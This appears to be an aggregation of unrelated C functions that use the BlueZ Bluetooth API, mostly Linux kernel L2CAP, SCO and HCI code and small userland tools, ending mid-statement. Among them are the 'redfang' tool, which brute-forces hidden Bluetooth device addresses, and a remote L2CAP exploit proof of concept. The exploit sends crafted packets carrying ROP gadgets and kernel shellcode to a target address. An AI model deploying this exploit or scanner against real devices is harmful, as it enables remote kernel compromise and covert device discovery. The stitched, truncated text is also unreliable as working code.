static int l2cap_do_connect(struct sock *sk) { bdaddr_t *src = &bluez_pi(sk)->src; bdaddr_t *dst = &bluez_pi(sk)->dst; struct l2cap_conn *conn; struct hci_conn *hcon; struct hci_dev *hdev; int err = 0; BT_DBG("%s -> %s psm 0x%2.2x", batostr(src), batostr(dst), l2cap_pi(sk)->psm); if (!(hdev = hci_get_route(dst, src))) return -EHOSTUNREACH; hci_dev_lock_bh(hdev); err = -ENOMEM; hcon = hci_connect(hdev, ACL_LINK, dst); if (!hcon) goto done; conn = l2cap_conn_add(hcon, 0); if (!conn) { hci_conn_put(hcon); goto done; } err = 0; /* Update source addr of the socket */ bacpy(src, conn->src); l2cap_chan_add(conn, sk, NULL); sk->state = BT_CONNECT; l2cap_sock_set_timer(sk, sk->sndtimeo); if (hcon->state == BT_CONNECTED) { if (sk->type == SOCK_SEQPACKET) { l2cap_conn_req req; req.scid = __cpu_to_le16(l2cap_pi(sk)->scid); req.psm = l2cap_pi(sk)->psm; l2cap_send_req(conn, L2CAP_CONN_REQ, L2CAP_CONN_REQ_SIZE, &req); } else { l2cap_sock_clear_timer(sk); sk->state = BT_CONNECTED; } } done: hci_dev_unlock_bh(hdev); hci_dev_put(hdev); return err; }
/* ----- SCO interface with lower layer (HCI) ----- */ int sco_connect_ind(struct hci_dev *hdev, bdaddr_t *bdaddr, __u8 type) { BT_DBG("hdev %s, bdaddr %s", hdev->name, batostr(bdaddr)); /* Always accept connection */ return HCI_LM_ACCEPT; }
static ssize_t show_conn_address(struct device *dev, struct device_attribute *attr, char *buf) { struct hci_conn *conn = dev_get_drvdata(dev); bdaddr_t bdaddr; baswap(&bdaddr, &conn->dst); return sprintf(buf, "%s\n", batostr(&bdaddr)); }
static ssize_t show_address(struct device *dev, struct device_attribute *attr, char *buf) { struct hci_dev *hdev = dev_get_drvdata(dev); bdaddr_t bdaddr; baswap(&bdaddr, &hdev->bdaddr); return sprintf(buf, "%s\n", batostr(&bdaddr)); }
static int l2cap_connect_ind(struct hci_dev *hdev, bdaddr_t *bdaddr, __u8 type) { int exact = 0, lm1 = 0, lm2 = 0; register struct sock *sk; if (type != ACL_LINK) return 0; BT_DBG("hdev %s, bdaddr %s", hdev->name, batostr(bdaddr)); /* Find listening sockets and check their link_mode */ read_lock(&l2cap_sk_list.lock); for (sk = l2cap_sk_list.head; sk; sk = sk->next) { if (sk->state != BT_LISTEN) continue; if (!bacmp(&bluez_pi(sk)->src, &hdev->bdaddr)) { lm1 |= (HCI_LM_ACCEPT | l2cap_pi(sk)->link_mode); exact++; } else if (!bacmp(&bluez_pi(sk)->src, BDADDR_ANY)) lm2 |= (HCI_LM_ACCEPT | l2cap_pi(sk)->link_mode); } read_unlock(&l2cap_sk_list.lock); return exact ? lm1 : lm2; }
/* Command Status OGF LINK_CTL */ static inline void hci_cs_create_conn(struct hci_dev *hdev, __u8 status) { struct hci_conn *conn; struct hci_cp_create_conn *cp = hci_sent_cmd_data(hdev, OGF_LINK_CTL, OCF_CREATE_CONN); if (!cp) return; hci_dev_lock(hdev); conn = hci_conn_hash_lookup_ba(hdev, ACL_LINK, &cp->bdaddr); BT_DBG("%s status 0x%x bdaddr %s conn %p", hdev->name, status, batostr(&cp->bdaddr), conn); if (status) { if (conn && conn->state == BT_CONNECT) { conn->state = BT_CLOSED; hci_proto_connect_cfm(conn, status); hci_conn_del(conn); } } else { if (!conn) { conn = hci_conn_add(hdev, ACL_LINK, &cp->bdaddr); if (conn) { conn->out = 1; conn->link_mode |= HCI_LM_MASTER; } else BT_ERR("No memmory for new connection"); } } hci_dev_unlock(hdev); }
static int l2cap_sock_bind(struct socket *sock, struct sockaddr *addr, int addr_len) { struct sockaddr_l2 *la = (struct sockaddr_l2 *) addr; struct sock *sk = sock->sk; int err = 0; BT_DBG("sk %p, %s %d", sk, batostr(&la->l2_bdaddr), la->l2_psm); if (!addr || addr->sa_family != AF_BLUETOOTH) return -EINVAL; lock_sock(sk); if (sk->state != BT_OPEN) { err = -EBADFD; goto done; } write_lock_bh(&l2cap_sk_list.lock); if (la->l2_psm && __l2cap_get_sock_by_addr(la->l2_psm, &la->l2_bdaddr)) { err = -EADDRINUSE; } else { /* Save source address */ bacpy(&bluez_pi(sk)->src, &la->l2_bdaddr); l2cap_pi(sk)->psm = la->l2_psm; sk->sport = la->l2_psm; sk->state = BT_BOUND; } write_unlock_bh(&l2cap_sk_list.lock); done: release_sock(sk); return err; }
int sco_connect(struct sock *sk) { bdaddr_t *src = &bluez_pi(sk)->src; bdaddr_t *dst = &bluez_pi(sk)->dst; struct sco_conn *conn; struct hci_conn *hcon; struct hci_dev *hdev; int err = 0; BT_DBG("%s -> %s", batostr(src), batostr(dst)); if (!(hdev = hci_get_route(dst, src))) return -EHOSTUNREACH; hci_dev_lock_bh(hdev); err = -ENOMEM; hcon = hci_connect(hdev, SCO_LINK, dst); if (!hcon) goto done; conn = sco_conn_add(hcon, 0); if (!conn) { hci_conn_put(hcon); goto done; } /* Update source addr of the socket */ bacpy(src, conn->src); err = sco_chan_add(conn, sk, NULL); if (err) goto done; if (hcon->state == BT_CONNECTED) { sco_sock_clear_timer(sk); sk->state = BT_CONNECTED; } else { sk->state = BT_CONNECT; sco_sock_set_timer(sk, sk->sndtimeo); } done: hci_dev_unlock_bh(hdev); hci_dev_put(hdev); return err; }
/* ----- Proc fs support ------ */ static int sco_sock_dump(char *buf, struct bluez_sock_list *list) { struct sco_pinfo *pi; struct sock *sk; char *ptr = buf; write_lock_bh(&list->lock); for (sk = list->head; sk; sk = sk->next) { pi = sco_pi(sk); ptr += sprintf(ptr, "%s %s %d\n", batostr(&bluez_pi(sk)->src), batostr(&bluez_pi(sk)->dst), sk->state); } write_unlock_bh(&list->lock); ptr += sprintf(ptr, "\n"); return ptr - buf; }
static void close_connection(struct vhci_conn *conn) { syslog(LOG_INFO, "Closing connection %s handle %d", batostr(&conn->dest), conn->handle); g_io_channel_close(conn->chan); g_io_channel_unref(conn->chan); vconn[conn->handle - 1] = NULL; disconn_complete(conn); free(conn); }
/* ----- Proc fs support ------ */ static int l2cap_sock_dump(char *buf, struct bluez_sock_list *list) { struct l2cap_pinfo *pi; struct sock *sk; char *ptr = buf; read_lock_bh(&list->lock); for (sk = list->head; sk; sk = sk->next) { pi = l2cap_pi(sk); ptr += sprintf(ptr, "%s %s %d %d 0x%4.4x 0x%4.4x %d %d 0x%x\n", batostr(&bluez_pi(sk)->src), batostr(&bluez_pi(sk)->dst), sk->state, pi->psm, pi->scid, pi->dcid, pi->imtu, pi->omtu, pi->link_mode); } read_unlock_bh(&list->lock); ptr += sprintf(ptr, "\n"); return ptr - buf; }
/* Connect Request */ static inline void hci_conn_request_evt(struct hci_dev *hdev, struct sk_buff *skb) { struct hci_ev_conn_request *ev = (struct hci_ev_conn_request *) skb->data; int mask = hdev->link_mode; BT_DBG("%s Connection request: %s type 0x%x", hdev->name, batostr(&ev->bdaddr), ev->link_type); mask |= hci_proto_connect_ind(hdev, &ev->bdaddr, ev->link_type); if (mask & HCI_LM_ACCEPT) { /* Connection accepted */ struct hci_conn *conn; struct hci_cp_accept_conn_req cp; hci_dev_lock(hdev); conn = hci_conn_hash_lookup_ba(hdev, ev->link_type, &ev->bdaddr); if (!conn) { if (!(conn = hci_conn_add(hdev, ev->link_type, &ev->bdaddr))) { BT_ERR("No memmory for new connection"); hci_dev_unlock(hdev); return; } } memcpy(conn->dev_class, ev->dev_class, 3); conn->state = BT_CONNECT; hci_dev_unlock(hdev); bacpy(&cp.bdaddr, &ev->bdaddr); if (lmp_rswitch_capable(hdev) && (mask & HCI_LM_MASTER)) cp.role = 0x00; /* Become master */ else cp.role = 0x01; /* Remain slave */ hci_send_cmd(hdev, OGF_LINK_CTL, OCF_ACCEPT_CONN_REQ, sizeof(cp), &cp); } else { /* Connection rejected */ struct hci_cp_reject_conn_req cp; bacpy(&cp.bdaddr, &ev->bdaddr); cp.reason = 0x0f; hci_send_cmd(hdev, OGF_LINK_CTL, OCF_REJECT_CONN_REQ, sizeof(cp), &cp); } }
/* Connect Request */ static inline void hci_conn_request_evt(struct hci_dev *hdev, struct sk_buff *skb) { evt_conn_request *cr = (evt_conn_request *) skb->data; int mask = hdev->link_mode; BT_DBG("%s Connection request: %s type 0x%x", hdev->name, batostr(&cr->bdaddr), cr->link_type); mask |= hci_proto_connect_ind(hdev, &cr->bdaddr, cr->link_type); if (mask & HCI_LM_ACCEPT) { /* Connection accepted */ struct hci_conn *conn; accept_conn_req_cp ac; hci_dev_lock(hdev); conn = conn_hash_lookup_ba(hdev, cr->link_type, &cr->bdaddr); if (!conn) { if (!(conn = hci_conn_add(hdev, cr->link_type, &cr->bdaddr))) { BT_ERR("No memmory for new connection"); hci_dev_unlock(hdev); return; } } conn->state = BT_CONNECT; hci_dev_unlock(hdev); bacpy(&ac.bdaddr, &cr->bdaddr); if (lmp_rswitch_capable(hdev) && (mask & HCI_LM_MASTER)) ac.role = 0x00; /* Become master */ else ac.role = 0x01; /* Remain slave */ hci_send_cmd(hdev, OGF_LINK_CTL, OCF_ACCEPT_CONN_REQ, ACCEPT_CONN_REQ_CP_SIZE, &ac); } else { /* Connection rejected */ reject_conn_req_cp rc; bacpy(&rc.bdaddr, &cr->bdaddr); rc.reason = 0x0f; hci_send_cmd(hdev, OGF_LINK_CTL, OCF_REJECT_CONN_REQ, REJECT_CONN_REQ_CP_SIZE, &rc); } }
static int l2cap_connect_cfm(struct hci_conn *hcon, __u8 status) { BT_DBG("hcon %p bdaddr %s status %d", hcon, batostr(&hcon->dst), status); if (hcon->type != ACL_LINK) return 0; if (!status) { struct l2cap_conn *conn; conn = l2cap_conn_add(hcon, status); if (conn) l2cap_conn_ready(conn); } else l2cap_conn_del(hcon, bterr(status)); return 0; }
int bnep_show_connections(void) { struct bnep_connlist_req req; struct bnep_conninfo ci[48]; int i; req.cnum = 48; req.ci = ci; if (ioctl(ctl, bnepgetconnlist, &req)) { perror("Failed to get connection list"); return -1; } for (i=0; i < req.cnum; i++) { printf("%s %s %s\n", ci[i].device, batostr((bdaddr_t *) ci[i].dst), bnep_svc2str(ci[i].role)); } return 0; }
static char * get_host_bdaddr (void) { FILE *f; int mac[6]; struct hci_dev_info di; int dd; dd = hci_open_dev(0); if (dd < 0) { g_warning("Can't open device hci%d: %s (%d)\n", 0, strerror(errno), errno); return NULL; } if (hci_devinfo(0, &di) < 0) { g_warning("Can't get device info for hci%d: %s (%d)\n", 0, strerror(errno), errno); return NULL; } hci_close_dev(dd); sscanf(batostr(&di.bdaddr), "%X:%X:%X:%X:%X:%X",&mac[5],&mac[4],&mac[3],&mac[2],&mac[1],&mac[0]); return g_strdup_printf ("%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); }
static ssize_t show_inquiry_cache(struct device *dev, struct device_attribute *attr, char *buf) { struct hci_dev *hdev = dev_get_drvdata(dev); struct inquiry_cache *cache = &hdev->inq_cache; struct inquiry_entry *e; int n = 0; hci_dev_lock_bh(hdev); for (e = cache->list; e; e = e->next) { struct inquiry_data *data = &e->data; bdaddr_t bdaddr; baswap(&bdaddr, &data->bdaddr); n += sprintf(buf + n, "%s %d %d %d 0x%.2x%.2x%.2x 0x%.4x %d %u\n", batostr(&bdaddr), data->pscan_rep_mode, data->pscan_period_mode, data->pscan_mode, data->dev_class[2], data->dev_class[1], data->dev_class[0], __le16_to_cpu(data->clock_offset), data->rssi, e->timestamp); } hci_dev_unlock_bh(hdev); return n; }
int scanBt(){ inquiry_info* info = NULL; int max_rsp = 255; int flags = IREQ_CACHE_FLUSH; int num_rsp = 0; bdaddr_t addr; int i, sock; int DEVIDHCI=0; info = malloc(max_rsp * sizeof(inquiry_info)); memset(info, 0, max_rsp * sizeof(inquiry_info)); num_rsp = hci_inquiry(DEVIDHCI, 8, num_rsp, NULL, &info, flags); sock = hci_open_dev(DEVIDHCI); if (num_rsp < 0) { perror("hci_inquiry"); } for (i = 0; i < num_rsp; i++) { baswap(&addr, &(info + i)->bdaddr); printf("Addr : %s\n", batostr(&addr)); } close(sock); }
int synchroCarte(){ struct sockaddr_l2 acceptedAddr = {0}; struct sockaddr_l2 clientAddr = {0}; int sock,client; size_t size; char buff[256]; FILE* flux; bacpy(&acceptedAddr.l2_bdaddr, BDADDR_ANY); acceptedAddr.l2_family = AF_BLUETOOTH; acceptedAddr.l2_psm = htobs(PORT); if ((sock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP)) < 0) { perror("Synchro socket create"); return; } if (bind(sock, (struct sockaddr*) &acceptedAddr, sizeof(acceptedAddr)) < 0) { perror("Bind synchro"); return; } if (listen(sock, 7) < 0) { perror("listen synchro"); return; } if ((client = accept(sock, (struct sockaddr*) &clientAddr, &size))>= 0) { if (recv(client, buff, sizeof(buff), 0) >= 0) { if((flux =fopen(CONFIG_FILE,"a"))== NULL){ perror("Config file don't exists"); return; } fprintf(flux,"%s",batostr(&(clientAddr.l2_bdaddr))); fclose(flux); } } }
static int sco_sock_bind(struct socket *sock, struct sockaddr *addr, int addr_len) { struct sockaddr_sco *sa = (struct sockaddr_sco *) addr; struct sock *sk = sock->sk; bdaddr_t *src = &sa->sco_bdaddr; int err = 0; BT_DBG("sk %p %s", sk, batostr(&sa->sco_bdaddr)); if (!addr || addr->sa_family != AF_BLUETOOTH) return -EINVAL; lock_sock(sk); if (sk->state != BT_OPEN) { err = -EBADFD; goto done; } write_lock_bh(&sco_sk_list.lock); if (bacmp(src, BDADDR_ANY) && __sco_get_sock_by_addr(src)) { err = -EADDRINUSE; } else { /* Save source address */ bacpy(&bluez_pi(sk)->src, &sa->sco_bdaddr); sk->state = BT_BOUND; } write_unlock_bh(&sco_sk_list.lock); done: release_sock(sk); return err; }
static inline void hci_conn_request_evt(struct hci_dev *hdev, struct sk_buff *skb) { struct hci_ev_conn_request *ev = (void *) skb->data; int mask = hdev->link_mode; BT_DBG("%s bdaddr %s type 0x%x", hdev->name, batostr(&ev->bdaddr), ev->link_type); mask |= hci_proto_connect_ind(hdev, &ev->bdaddr, ev->link_type); if (mask & HCI_LM_ACCEPT) { /* Connection accepted */ struct inquiry_entry *ie; struct hci_conn *conn; hci_dev_lock(hdev); if ((ie = hci_inquiry_cache_lookup(hdev, &ev->bdaddr))) memcpy(ie->data.dev_class, ev->dev_class, 3); conn = hci_conn_hash_lookup_ba(hdev, ev->link_type, &ev->bdaddr); if (!conn) { /* pkt_type not yet used for incoming connections */ if (!(conn = hci_conn_add(hdev, ev->link_type, 0, &ev->bdaddr))) { BT_ERR("No memmory for new connection"); hci_dev_unlock(hdev); return; } } memcpy(conn->dev_class, ev->dev_class, 3); conn->state = BT_CONNECT; hci_dev_unlock(hdev); if (ev->link_type == ACL_LINK || !lmp_esco_capable(hdev)) { struct hci_cp_accept_conn_req cp; bacpy(&cp.bdaddr, &ev->bdaddr); if (lmp_rswitch_capable(hdev) && (mask & HCI_LM_MASTER)) cp.role = 0x00; /* Become master */ else cp.role = 0x01; /* Remain slave */ hci_send_cmd(hdev, HCI_OP_ACCEPT_CONN_REQ, sizeof(cp), &cp); } else { struct hci_cp_accept_sync_conn_req cp; bacpy(&cp.bdaddr, &ev->bdaddr); cp.pkt_type = cpu_to_le16(conn->pkt_type); cp.tx_bandwidth = cpu_to_le32(0x00001f40); cp.rx_bandwidth = cpu_to_le32(0x00001f40); cp.max_latency = cpu_to_le16(0xffff); cp.content_format = cpu_to_le16(hdev->voice_setting); cp.retrans_effort = 0xff; hci_send_cmd(hdev, HCI_OP_ACCEPT_SYNC_CONN_REQ, sizeof(cp), &cp); } } else { /* Connection rejected */ struct hci_cp_reject_conn_req cp; bacpy(&cp.bdaddr, &ev->bdaddr); cp.reason = 0x0f; hci_send_cmd(hdev, HCI_OP_REJECT_CONN_REQ, sizeof(cp), &cp); } }
int main(int argc, const char* argv[]) { int serverL2capSock; struct sockaddr_l2 sockAddr; socklen_t sockAddrLen; int result; bdaddr_t clientBdAddr; int clientL2capSock; fd_set afds; fd_set rfds; struct timeval tv; char stdinBuf[256 * 2 + 1]; char l2capSockBuf[256]; int len; int i; struct bt_security btSecurity; socklen_t btSecurityLen; uint8_t securityLevel = 0; // setup signal handlers signal(SIGINT, signalHandler); signal(SIGKILL, signalHandler); signal(SIGHUP, signalHandler); prctl(PR_SET_PDEATHSIG, SIGINT); // create socket serverL2capSock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP); // bind memset(&sockAddr, 0, sizeof(sockAddr)); sockAddr.l2_family = AF_BLUETOOTH; sockAddr.l2_bdaddr = *BDADDR_ANY; sockAddr.l2_cid = htobs(ATT_CID); result = bind(serverL2capSock, (struct sockaddr*)&sockAddr, sizeof(sockAddr)); printf("bind %s\n", (result == -1) ? strerror(errno) : "success"); result = listen(serverL2capSock, 1); printf("listen %s\n", (result == -1) ? strerror(errno) : "success"); while (result != -1) { FD_ZERO(&afds); FD_SET(serverL2capSock, &afds); tv.tv_sec = 1; tv.tv_usec = 0; result = select(serverL2capSock + 1, &afds, NULL, NULL, &tv); if (-1 == result) { if (SIGINT == lastSignal || SIGKILL == lastSignal) { break; } } else if (result && FD_ISSET(serverL2capSock, &afds)) { sockAddrLen = sizeof(sockAddr); clientL2capSock = accept(serverL2capSock, (struct sockaddr *)&sockAddr, &sockAddrLen); baswap(&clientBdAddr, &sockAddr.l2_bdaddr); printf("accept %s\n", batostr(&clientBdAddr)); while(1) { FD_ZERO(&rfds); FD_SET(0, &rfds); FD_SET(clientL2capSock, &rfds); tv.tv_sec = 1; tv.tv_usec = 0; result = select(clientL2capSock + 1, &rfds, NULL, NULL, &tv); if (-1 == result) { if (SIGINT == lastSignal || SIGKILL == lastSignal || SIGHUP == lastSignal) { if (SIGHUP == lastSignal) { result = 0; } break; } } else if (result) { if (FD_ISSET(0, &rfds)) { len = read(0, stdinBuf, sizeof(stdinBuf)); if (len <= 0) { break; } i = 0; while(stdinBuf[i] != '\n') { sscanf(&stdinBuf[i], "%02x", (unsigned int*)&l2capSockBuf[i / 2]); i += 2; } len = write(clientL2capSock, l2capSockBuf, (len - 1) / 2); } if (FD_ISSET(clientL2capSock, &rfds)) { len = read(clientL2capSock, l2capSockBuf, sizeof(l2capSockBuf)); if (len <= 0) { break; } btSecurityLen = sizeof(btSecurity); memset(&btSecurity, 0, btSecurityLen); getsockopt(clientL2capSock, SOL_BLUETOOTH, BT_SECURITY, &btSecurity, &btSecurityLen); if (securityLevel != btSecurity.level) { securityLevel = btSecurity.level; const char *securityLevelString; switch(securityLevel) { case BT_SECURITY_LOW: securityLevelString = "low"; break; case BT_SECURITY_MEDIUM: securityLevelString = "medium"; break; case BT_SECURITY_HIGH: securityLevelString = "high"; break; default: securityLevelString = "unknown"; break; } printf("security %s\n", securityLevelString); } printf("data "); for(i = 0; i < len; i++) { printf("%02x", ((int)l2capSockBuf[i]) & 0xff); } printf("\n"); } } } printf("disconnect %s\n", batostr(&clientBdAddr)); close(clientL2capSock); } } printf("close\n"); close(serverL2capSock); return 0; }
static void cmd_hunt(int dev_id, int argc, char **argv) { bdaddr_t bdaddr; char name[248]; int opt, dd, num=0, num2=0, num3=0, num4=0, num5=0, num6=0; int btout=50000; unsigned char lame[16][2] = {"0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F", }; char addtobrute[248]; printf("redfang - the bluetooth hunter ver 1.00.alpha\n"); printf("(c)2003 \@stake Inc\n"); printf("author: Ollie Whitehouse ([email protected])\n"); argc -= optind; argv += optind; if (argc < 2) { printf(hunt_help); exit(1); } if (argc >= 1) { btout=atoi(argv[1]); } printf("timeout: %d\n", btout); printf("starting...\n"); while (num <= 15) { while(num2 <= 15) { while(num3 <= 15) { while(num4 <= 15) { while(num5 <= 15) { while(num6 <= 15) { strcpy(addtobrute,"00:80:98:"); strcat(addtobrute,lame[num]); strcat(addtobrute,lame[num2]); strcat(addtobrute,":"); strcat(addtobrute,lame[num3]); strcat(addtobrute,lame[num4]); strcat(addtobrute,":"); strcat(addtobrute,lame[num5]); strcat(addtobrute,lame[num6]); /* debug purposes */ printf("%s\n",addtobrute); baswap(&bdaddr, strtoba(addtobrute)); dev_id = hci_get_route(&bdaddr); if (dev_id < 0) { fprintf(stderr,"Device not availible"); exit(1); } dd = hci_open_dev(dev_id); if (dd < 0) { fprintf(stderr,"HCI device open failed"); exit(1); } /* try to get name of remote device - timeout is the int) */ if (hci_read_remote_name(dd,&bdaddr,sizeof(name), name, btout) == 0) printf("\n.start--->\naddress :- %s\nname :- %s\n<.end-----\n",batostr(&bdaddr),name); close(dd); num6++; } num6=0; num5++; } num5=0; num4++; } num4=0; num3++; } num3=0; num2++; } num2=0; num++; } }
// MAIN PART int main(int argc, char *argv[]) { l2cap_cmd_hdr *cmd; struct sockaddr_l2 laddr, raddr; struct hci_dev_info di; char *buf, *remote_address = NULL; char payload[] ="\x40\x00\x00\x00\x06\x10\x01\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"; char payload2[]="\x01\x00\x40\x00"; char payload3[212] = { 0x40, 0x00, 0x00, 0x00, 0x04, 0x00, 0x01, 0x02, 0xd0, 0x07, 0x01, 0x02, 0xd0, 0x07, 0x01, 0x02, 0xd0, 0x07, 0x01, 0x02, 0xd0, 0x07, 0x01, 0x02, 0xd0, 0x07, 0x01, 0x02, 0xd0, 0x07, 0x01, 0x02, 0xd0, 0x07, 0x01, 0x02, 0xd0, 0x07, 0x01, 0x02, 0xd0, 0x07, 0x01, 0x02, 0xd0, 0x07, 0x01, 0x02, 0xd0, 0x07, 0x01, 0x02, 0xd0, 0x07, 0x01, 0x02, 0xd0, 0x07, 0x01, 0x02, 0xd0, 0x07, 0x01, 0x02, 0xd0, 0x07, 0x01, 0x02, 0xd0, 0x01, 0x01, 0x02, 0xd0, 0x02, 0x01, 0x02, 0xd0, 0x03, 0x01, 0x02, 0xd0, 0x04, 0x01, 0x02, 0x26, 0xc1, //pop, pop, ret Gadget 0xc1260201 0x06, 0x10, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x6e, 0xb4, 0x97, 0xc1, //call esp Gadget 0xc197b46e 0x90, 0x90, 0x90, 0x90, 0xeb, 0x06, 0x06, 0x10, 0x01, 0x00, 0xeb, 0x44, 0xb8, 0x04, 0x00, 0x00, 0x00, 0xbb, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x04, 0x06, 0x10, 0x01, 0x00, 0x89, 0xe5, 0x68, 0x01, 0x36, 0x43, 0x00, 0x54, //push C on Stack 0x89, 0xe1, 0x90, 0x90, 0xeb, 0x04, 0x06, 0x10, 0x01, 0x00, 0xb8, 0x03, 0x78, 0x10, //print_k 0xc1107803 0xc1, 0xff, 0xd0, 0xbb, 0x04, 0x00, 0x00, 0x00, 0xeb, 0x04, 0x06, 0x10, 0x01, 0x00, 0xb8, 0x30, 0xec, 0x09, //0xc109ec30 msleep_interruptible() 0xc1, 0xff, 0xd0, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb, 0x04, 0x06, 0x10, 0x01, 0x00, 0xe8, 0xd4, 0xff, 0xff, 0xff, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x2c, 0x20, 0xeb, 0x04, 0x06, 0x10, 0x01, 0x00, 0x57, 0x67, 0x72, 0x6c, 0x64, 0x21, 0x00, 0x90, 0x09, 0x09, 0x90, 0x90, 0x90, 0x90, }; int sock, c, i; int l2_code; int l2_ident; int l2_hsize; while ((c = getopt (argc, argv, "a:")) != -1) { switch (c) { case 'a': remote_address = optarg; break; default: usage(); break; } } if(remote_address == NULL) { printf(">>> I need at least a remote btaddr...\n\n"); usage(); exit(EXIT_FAILURE); } // Get local device info if(hci_devinfo(0, &di) < 0) { perror("HCI device info failed"); exit(EXIT_FAILURE); } printf("Local device %s\n", batostr(&di.bdaddr)); printf("Remote device %s\n", remote_address); /* Construct local addr */ laddr.l2_family = AF_BLUETOOTH; laddr.l2_bdaddr = di.bdaddr; laddr.l2_psm = htobs(0x1001); laddr.l2_cid = htobs(0x0040); /* Construct remote addr */ memset(&raddr, 0, sizeof(raddr)); raddr.l2_family = AF_BLUETOOTH; str2ba(remote_address, &raddr.l2_bdaddr); /* Create a Bluetooth raw socket */ if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) { perror("socket"); exit(EXIT_FAILURE); } /* ...and bind it to the local device */ bind(sock, (struct sockaddr *) &laddr, sizeof(laddr)); /* Let's try to connect */ if (connect(sock, (struct sockaddr *) &raddr, sizeof(raddr)) < 0) { perror("connect"); exit(EXIT_FAILURE); } /* Init packet buffer */ if( ! (buf = (char *) malloc (L2CAP_CMD_HDR_SIZE )) ) { perror("malloc"); exit(EXIT_FAILURE); } /* Set L2CAP header properties */ cmd = (l2cap_cmd_hdr *) buf; cmd->code = 0x02; cmd->ident = 0x03; cmd->len = htobs(4); /* Copy payload after l2cap header */ memcpy((buf + L2CAP_CMD_HDR_SIZE), payload2, 4); /* Throw the packet into the air */ if(send(sock, buf, L2CAP_CMD_HDR_SIZE + 4, 0) <= 0) { perror("send"); } printf("L2CAP packet was sent\n"); sleep(1); /* Init packet buffer */ if( ! (buf = (char *) malloc (L2CAP_CMD_HDR_SIZE + 22)) ) { perror("malloc"); exit(EXIT_FAILURE); } /* Set L2CAP header properties */ cmd = (l2cap_cmd_hdr *) buf; cmd->code = 0x04; cmd->ident = 0x01; cmd->len = htobs(22); /* Copy payload after l2cap header */ memcpy((buf + L2CAP_CMD_HDR_SIZE), payload, 22); /* Throw the packet into the air */ if(send(sock, buf, L2CAP_CMD_HDR_SIZE + 22, 0) <= 0) { perror("send"); } printf("L2CAP packet 2 was sent\n"); sleep(1); /* Init packet buffer */ if( ! (buf = (char *) malloc (L2CAP_CMD_HDR_SIZE + 212)) ) { perror("malloc"); exit(EXIT_FAILURE); } /* Set L2CAP header properties */ cmd = (l2cap_cmd_hdr *) buf; cmd->code = 0x05; cmd->ident = 0x01; cmd->len = htobs(212); /* Copy payload after l2cap header */ memcpy((buf + L2CAP_CMD_HDR_SIZE), payload3,212); /* Throw the packet into the air */ if(send(sock, buf, L2CAP_CMD_HDR_SIZE +212, 0) <= 0) { perror("send"); } printf("L2CAP packet 3 was sent\n"); /* Disconnect */ close(sock); return EXIT_SUCCESS; }
int main(int argc, const char* argv[]) { const char *hciDeviceIdOverride = NULL; int hciDeviceId = 0; int hciSocket; int serverL2capSock; struct sockaddr_l2 sockAddr; socklen_t sockAddrLen; int result; bdaddr_t clientBdAddr; int clientL2capSock; struct l2cap_conninfo l2capConnInfo; socklen_t l2capConnInfoLen; int hciHandle; fd_set afds; fd_set rfds; struct timeval tv; char stdinBuf[256 * 2 + 1]; char l2capSockBuf[256]; int len; int i; struct bt_security btSecurity; socklen_t btSecurityLen; uint8_t securityLevel = 0; // remove buffering setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); // setup signal handlers signal(SIGINT, signalHandler); signal(SIGKILL, signalHandler); signal(SIGHUP, signalHandler); signal(SIGUSR1, signalHandler); prctl(PR_SET_PDEATHSIG, SIGINT); // create socket serverL2capSock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP); if (argc > 1 && strlen(argv[1]) > 0) { hciDeviceIdOverride = argv[1]; } if (hciDeviceIdOverride != NULL) { hciDeviceId = atoi(hciDeviceIdOverride); } else { // if no env variable given, use the first available device hciDeviceId = hci_get_route(NULL); } if (hciDeviceId < 0) { hciDeviceId = 0; // use device 0, if device id is invalid } printf("hciDeviceId %d\n", hciDeviceId); bdaddr_t daddr; hciSocket = hci_open_dev(hciDeviceId); if (hciSocket == -1) { printf("adapterState unsupported\n"); return -1; } if (hci_read_bd_addr(hciSocket, &daddr, 1000) == -1){ daddr = *BDADDR_ANY; } printf("bdaddr "); for(i = 5; i > 0; i--) { printf("%02x:", daddr.b[i]); } printf("%02x", daddr.b[0]); printf("\n"); // bind memset(&sockAddr, 0, sizeof(sockAddr)); sockAddr.l2_family = AF_BLUETOOTH; sockAddr.l2_bdaddr = daddr; sockAddr.l2_cid = htobs(ATT_CID); result = bind(serverL2capSock, (struct sockaddr*)&sockAddr, sizeof(sockAddr)); printf("bind %s\n", (result == -1) ? strerror(errno) : "success"); result = listen(serverL2capSock, 1); printf("listen %s\n", (result == -1) ? strerror(errno) : "success"); while (result != -1) { FD_ZERO(&afds); FD_SET(serverL2capSock, &afds); tv.tv_sec = 1; tv.tv_usec = 0; result = select(serverL2capSock + 1, &afds, NULL, NULL, &tv); if (-1 == result) { if (SIGINT == lastSignal || SIGKILL == lastSignal) { break; } else if (SIGHUP == lastSignal || SIGUSR1 == lastSignal) { result = 0; } } else if (result && FD_ISSET(serverL2capSock, &afds)) { sockAddrLen = sizeof(sockAddr); clientL2capSock = accept(serverL2capSock, (struct sockaddr *)&sockAddr, &sockAddrLen); baswap(&clientBdAddr, &sockAddr.l2_bdaddr); printf("accept %s\n", batostr(&clientBdAddr)); l2capConnInfoLen = sizeof(l2capConnInfo); getsockopt(clientL2capSock, SOL_L2CAP, L2CAP_CONNINFO, &l2capConnInfo, &l2capConnInfoLen); hciHandle = l2capConnInfo.hci_handle; while(1) { FD_ZERO(&rfds); FD_SET(0, &rfds); FD_SET(clientL2capSock, &rfds); tv.tv_sec = 1; tv.tv_usec = 0; result = select(clientL2capSock + 1, &rfds, NULL, NULL, &tv); if (-1 == result) { if (SIGINT == lastSignal || SIGKILL == lastSignal) { break; } else if (SIGHUP == lastSignal) { result = 0; hci_disconnect(hciSocket, hciHandle, HCI_OE_USER_ENDED_CONNECTION, 1000); } else if (SIGUSR1 == lastSignal) { int8_t rssi = 